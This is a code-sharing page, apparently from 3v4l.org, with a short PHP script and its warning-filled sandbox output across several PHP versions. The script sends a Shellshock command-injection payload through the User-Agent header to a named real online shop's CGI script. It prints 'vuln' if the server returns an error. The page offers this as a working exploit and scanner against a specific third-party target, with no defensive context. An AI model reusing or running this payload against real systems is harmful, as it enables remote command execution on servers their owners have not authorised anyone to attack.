3v4l.org

run code in 300+ PHP versions simultaneously
<?php $url = "http://www.tu-shop.de/cgi-bin/cosmoshop/lshop.cgi"; $context = stream_context_create( array( 'http' => array( 'method' => 'GET', 'header' => 'User-Agent: () { :;}; /bin/bash -c "'.$cmd.'"' ) ) ); if(!file_get_contents($url, false, $context) && strpos($http_response_header[0],"500") > 0) echo "vuln";
Output for git.master, git.master_jit
Warning: Undefined variable $cmd in /in/7ULjl on line 7 Warning: file_get_contents(): php_network_getaddresses: getaddrinfo for www.tu-shop.de failed: System error in /in/7ULjl on line 12 Warning: file_get_contents(http://www.tu-shop.de/cgi-bin/cosmoshop/lshop.cgi): Failed to open stream: php_network_getaddresses: getaddrinfo for www.tu-shop.de failed: System error in /in/7ULjl on line 12 Warning: Undefined variable $http_response_header in /in/7ULjl on line 12 Warning: Trying to access array offset on value of type null in /in/7ULjl on line 12 Deprecated: strpos(): Passing null to parameter #1 ($haystack) of type string is deprecated in /in/7ULjl on line 12
Output for rfc.property-hooks
Warning: Undefined variable $cmd in /in/7ULjl on line 7 Warning: file_get_contents(): php_network_getaddresses: getaddrinfo for www.tu-shop.de failed: System error in /in/7ULjl on line 12 Warning: file_get_contents(http://www.tu-shop.de/cgi-bin/cosmoshop/lshop.cgi): Failed to open stream: php_network_getaddresses: getaddrinfo for www.tu-shop.de failed: System error in /in/7ULjl on line 12 Warning: Undefined variable $http_response_header in /in/7ULjl on line 12 Warning: Trying to access array offset on null in /in/7ULjl on line 12 Deprecated: strpos(): Passing null to parameter #1 ($haystack) of type string is deprecated in /in/7ULjl on line 12

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
39.83 ms | 402 KiB | 8 Q